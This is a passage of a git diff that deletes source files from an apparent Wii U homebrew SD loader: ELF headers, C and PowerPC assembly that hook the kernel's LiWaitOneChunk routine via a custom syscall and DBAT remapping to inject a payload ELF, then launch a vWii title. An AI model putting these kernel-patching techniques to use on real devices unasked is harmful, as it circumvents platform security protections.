unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/vwii_loader/sd_loader/src/entry.c b/dsrom/vwii_loader/sd_loader/src/entry.c deleted file mode 100644 index d729e79..0000000 --- a/dsrom/vwii_loader/sd_loader/src/entry.c +++ /dev/null @@ -1,388 +0,0 @@ -#include -#include "elf_abi.h" -#include "../../common.h" -#include "../../fs_defs.h" -#include "../../os_defs.h" -#include "kernel_defs.h" -#include "loader_defs.h" - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) - -static void (*DCFlushRange)(void *addr, unsigned int size); -static void (*DCInvalidateRange)(void *addr, unsigned int size); -static void (*ICInvalidateRange)(void *addr, unsigned int size); -static unsigned int hook_LiWaitOneChunk; -static unsigned int addrphys_LiWaitOneChunk; - -extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); -extern void my_PrepareTitle_hook(void); - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access with cache inhibited to write through and read directly from memory - */ - unsigned int dbatu0, dbatl0, dbatu1, dbatl1; - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); - asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); - - unsigned int target_dbatu0 = 0; - unsigned int target_dbatl0 = 0; - unsigned int target_dbatu1 = 0; - unsigned int target_dbatl1 = 0; - - unsigned int *dst_p = (unsigned int*)addr; - unsigned int *src_p = (unsigned int*)src; - - // we only need DBAT modification for addresses out of our own DBAT range - // as our own DBAT is available everywhere for user and supervisor - // since our own DBAT is on DBAT5 position we don't collide here - if(addr < 0x00800000 || addr >= 0x01000000) - { - target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = (addr & 0xFFF00000) | 0x32; - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); - } - if(src < 0x00800000 || src >= 0x01000000) - { - target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = (src & 0xFFF00000) | 0x32; - - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); - } - - asm volatile("eieio; isync"); - - unsigned int i; - for(i = 0; i < len; i += 4) - { - // if we are on the edge to next chunk - if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) - { - target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; - dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - asm volatile("eieio; isync"); - } - if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) - { - target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; - src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - asm volatile("eieio; isync"); - } - - *dst_p = *src_p; - - ++dst_p; - ++src_p; - } - - /* - * Restore original DBAT value - */ - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); - asm volatile("eieio; isync"); -} - -// This function is called every time after LiBounceOneChunk. -// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address -// and return the still remaining bytes to load. -// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. -static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) -{ - unsigned int result; - register int core_id; - int remaining_bytes = 0; - - int sgFileOffset; - int sgBufferNumber; - int *sgBounceError; - int *sgGotBytes; - int *sgTotalBytes; - int *sgIsLoadingBuffer; - int *sgFinishedLoadingBuffer; - - // get the current core - asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); - - // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) - unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime1 = Loader_GetSystemTime(); - - if(OS_FIRMWARE == 550) - { - // pointer to global variables of the loader - loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgTotalBytes = &loader_globals->sgTotalBytes; - sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; - // not available on 5.5.x - sgIsLoadingBuffer = NULL; - } - else - { - // pointer to global variables of the loader - loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; - // not available on < 5.5.x - sgTotalBytes = NULL; - sgFinishedLoadingBuffer = NULL; - } - - // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data - if(gDynloadInitialized != 0) { - result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); - - } - else { - result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); - } - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime2 = Loader_GetSystemTime(); - - //------------------------------------------------------------------------------------------------------------------ - // Start of our function intrusion: - // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, - // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 - // Do this only if we are in the game that was launched by our method - s_mem_area *mem_area = MEM_AREA_TABLE; - if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) - { - unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); - unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 - - remaining_bytes = ELF_DATA_SIZE - sgFileOffset; - if (remaining_bytes > 0x400000) - // truncate size - remaining_bytes = 0x400000; - - DCFlushRange((void*)load_address, remaining_bytes); - - u32 rpxBlockPos = 0; - u32 done = 0; - u32 mapOffset = 0; - - while((done < (u32)sgFileOffset) && mem_area) - { - if((done + mem_area->size) > (u32)sgFileOffset) - { - mapOffset = sgFileOffset - done; - done = sgFileOffset; - } - else - { - done += mem_area->size; - mem_area = mem_area->next; - } - } - - while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) - { - u32 address = mem_area->address + mapOffset; - u32 blockSize = ELF_DATA_SIZE - done; - - if(blockSize > (0x400000 - rpxBlockPos)) - { - blockSize = 0x400000 - rpxBlockPos; - } - if((mapOffset + blockSize) >= mem_area->size) - { - blockSize = mem_area->size - mapOffset; - //! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy - //! it makes smaller code then if(mapOffset == mem_area->size) after copy - mapOffset = -blockSize; - mem_area = mem_area->next; - } - - SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); - done += blockSize; - rpxBlockPos += blockSize; - mapOffset += blockSize; - } - - DCInvalidateRange((void*)load_address, remaining_bytes); - - if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) - { - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - // set result to 0 -> "everything OK" - result = 0; - } - - // end of our little intrusion into this function - //------------------------------------------------------------------------------------------------------------------ - - // set the result to the global bounce error variable - if(sgBounceError) { - *sgBounceError = result; - } - - // disable global flag that buffer is still loaded by IOSU - if(sgFinishedLoadingBuffer) - { - unsigned int zeroBitCount = 0; - asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); - *sgFinishedLoadingBuffer = zeroBitCount >> 5; - } - else if(sgIsLoadingBuffer) - { - *sgIsLoadingBuffer = 0; - } - - // check result for errors - if(result == 0) - { - // the remaining size is set globally and in stack variable only - // if a pointer was passed to this function - if(iRemainingBytes) { - if(sgGotBytes) { - *sgGotBytes = remaining_bytes; - } - - *iRemainingBytes = remaining_bytes; - - // on 5.5.x a new variable for total loaded bytes was added - if(sgTotalBytes) { - *sgTotalBytes += remaining_bytes; - } - } - // Comment (Dimok): - // calculate time difference and print it on logging how long the wait for asynchronous data load took - // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap - } - else { - // Comment (Dimok): - // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P - } - return result; -} - -void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) -{ - if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) - { - xmlKernelInfo->max_size = RPX_MAX_SIZE; - xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; - //! setup our hook to LiWaitOneChunk for RPX loading - hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; - KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } - else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ - { - //! restore original LiWaitOneChunk instruction as our RPX is done - MAIN_ENTRY_ADDR = 0xDEADC0DE; - KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } -} - -unsigned int _main(int argc, char **argv) -{ - if(MAIN_ENTRY_ADDR != 0xC001C0DE) - { - EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); - EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - - OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; - OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; - - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); - - EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); - EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); - - unsigned int *functionPtr = 0; - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); - MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); - MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; - - //get all the CMPT functions - unsigned int cmpt_handle; - OSDynLoad_Acquire("nn_cmpt.rpl", &cmpt_handle); - - int (*CMPTLaunchTitle)(void* CMPTConfigure, int ConfigSize, int titlehigh, int titlelow); - int (*CMPTAcctSetScreenType)(int screenType); - int (*CMPTGetDataSize)(int* dataSize); - int (*CMPTCheckScreenState)(); - - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTLaunchTitle", &CMPTLaunchTitle); - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTAcctSetScreenType", &CMPTAcctSetScreenType); - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTGetDataSize", &CMPTGetDataSize); - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTCheckScreenState", &CMPTCheckScreenState); - - //1 = TV Only, 2 = GamePad Only, 3 = Both - CMPTAcctSetScreenType(3); - if(CMPTCheckScreenState() < 0) - { - CMPTAcctSetScreenType(2); - if(CMPTCheckScreenState() < 0) - CMPTAcctSetScreenType(1); - } - - int datasize; - CMPTGetDataSize(&datasize); - - //needed for CMPT to work - unsigned int padscore_handle; - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); - void(*KPADInit)(); - OSDynLoad_FindExport(padscore_handle, 0, "KPADInit", &KPADInit); - KPADInit(); - - void *databuf = MEMAllocFromDefaultHeapEx(datasize, 0x40); - CMPTLaunchTitle(databuf, datasize, VWII_TITLE_ID_LOW, VWII_TITLE_ID_HIGH); - MEMFreeToDefaultHeap(databuf); - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - - unsigned int entry = *(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry; - - //! launch the original title with clean stack - return entry; -} diff --git a/dsrom/vwii_loader/sd_loader/src/kernel_defs.h b/dsrom/vwii_loader/sd_loader/src/kernel_defs.h deleted file mode 100644 index a1cce49..0000000 --- a/dsrom/vwii_loader/sd_loader/src/kernel_defs.h +++ /dev/null @@ -1,75 +0,0 @@ -#ifndef __KERNEL_DEFS_H_ -#define __KERNEL_DEFS_H_ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// original structure in the kernel that is originally 0x1270 long -typedef struct -{ - uint32_t version_cos_xml; // version tag from cos.xml - uint64_t os_version; // os_version from app.xml - uint64_t title_id; // title_id tag from app.xml - uint32_t app_type; // app_type tag from app.xml - uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) - char rpx_name[0x1000]; // rpx name from cos.xml - uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) - uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 - uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app - uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) - uint32_t max_codesize; // max_codesize in cos.xml - uint32_t overlay_arena; // overlay_arena in cos.xml - uint32_t unknown4[59]; // all zeros it seems - uint32_t default_stack0_size; // not sure because always 0 but very likely - uint32_t default_stack1_size; // not sure because always 0 but very likely - uint32_t default_stack2_size; // not sure because always 0 but very likely - uint32_t default_redzone0_size; // not sure because always 0 but very likely - uint32_t default_redzone1_size; // not sure because always 0 but very likely - uint32_t default_redzone2_size; // not sure because always 0 but very likely - uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker - uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker - uint32_t title_version; // from app.xml, 0x32 on mii maker - /* - // --------------------------------------------------------------------------------------------------------------------------------------------- - // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... - // --------------------------------------------------------------------------------------------------------------------------------------------- - char mlc[4]; // string "mlc" on mii maker and sysmenu - uint32_t unknown5[7]; // all zeros on mii maker and sysmenu - uint32_t unknown6_one; // 0x01 on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char ACP[4]; // string "ACP" on mii maker and sysmenu - uint32_t unknown7[15]; // all zeros on mii maker and sysmenu - uint32_t unknown8_5; // 0x05 on mii maker and sysmenu - uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char UVD[4]; // string "UVD" on mii maker and sysmenu - uint32_t unknown11[15]; // all zeros on mii maker and sysmenu - uint32_t unknown12_5; // 0x05 on mii maker and sysmenu - uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char SND[4]; // string "SND" on mii maker and sysmenu - uint32_t unknown15[15]; // all zeros on mii maker and sysmenu - uint32_t unknown16_5; // 0x05 on mii maker and sysmenu - uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu - */ - // after that only zeros follow -} __attribute__((packed)) CosAppXmlInfo; - - -#ifdef __cplusplus -} -#endif - -#endif // __KERNEL_DEFS_H_ diff --git a/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S b/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S deleted file mode 100644 index 0d7f11f..0000000 --- a/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S +++ /dev/null @@ -1,69 +0,0 @@ -# This stuff may need a change in different kernel versions -# This is only needed when launched directly through browser and not SD card. - -.section ".kernel_code" - .globl SaveAndResetDataBATs_And_SRs_hook -SaveAndResetDataBATs_And_SRs_hook: - # setup CTR to the position we need to return to - mflr r5 - mtctr r5 - # set link register to its original value - mtlr r7 - # setup us a nice DBAT for our code data with same region as our code - mfspr r5, 560 - mtspr 570, r5 - mfspr r5, 561 - mtspr 571, r5 - # restore the original kernel instructions that we replaced - lwz r5, 0x34(r3) - lwz r6, 0x38(r3) - lwz r7, 0x3C(r3) - lwz r8, 0x40(r3) - lwz r9, 0x44(r3) - lwz r10, 0x48(r3) - lwz r11, 0x4C(r3) - lwz r3, 0x50(r3) - isync - mtsr 7, r5 - # jump back to the position in kernel after our patch (from LR) - bctr - -.extern my_PrepareTitle - .globl my_PrepareTitle_hook -my_PrepareTitle_hook: - # store all registers on stack to avoid issues with the call to C functions - stwu r1, -0x90(r1) - # registers for our own usage - # just store everything - stmw r3, 0x10(r1) - - # save the LR from where we came - mflr r31 - - # the cos.xml/app.xml structure is at the location 0x68 of r11 - # there are actually many places that can be hooked for it - # e.g. 0xFFF16130 and r27 points to this structure - addi r3, r11, 0x68 - - bl my_PrepareTitle - - # setup LR to jump back to kernel code - mtlr r31 - - # restore all original values of registers from stack - lmw r3, 0x10(r1) - - # restore the stack - addi r1, r1, 0x90 - - # restore original instruction that we replaced in the kernel - clrlwi r7, r12, 0 - - # jump back - blr - - .globl SC0x25_KernelCopyData -SC0x25_KernelCopyData: - li r0, 0x2500 - sc - blr diff --git a/dsrom/vwii_loader/sd_loader/src/link.ld b/dsrom/vwii_loader/sd_loader/src/link.ld deleted file mode 100644 index 610f5d3..0000000 --- a/dsrom/vwii_loader/sd_loader/src/link.ld +++ /dev/null @@ -1,23 +0,0 @@ -OUTPUT(sd_loader.elf); - -ENTRY(_start); - -SECTIONS { - . = 0x00800000; - .text : { - *(.kernel_code*); - *(.text*); - /* Tell linker to not garbage collect this section as it is not referenced anywhere */ - KEEP(*(.kernel_code*)); - } - .data : { - *(.rodata*); - *(.data*); - *(.bss*); - } - /DISCARD/ : { - *(*); - } -} - -ASSERT((SIZEOF(.text) + SIZEOF(.data)) <= 0x1300, "Memory overlapping with main elf."); diff --git a/dsrom/vwii_loader/sd_loader/src/loader_defs.h b/dsrom/vwii_loader/sd_loader/src/loader_defs.h deleted file mode 100644 index b71514f..0000000 --- a/dsrom/vwii_loader/sd_loader/src/loader_defs.h +++ /dev/null @@ -1,38 +0,0 @@ -#ifndef __LOADER_DEFS_H_ -#define __LOADER_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -// struct holding the globals of the loader (there are actually more but we don't need others) -typedef struct _loader_globals_t -{ - int sgIsLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - 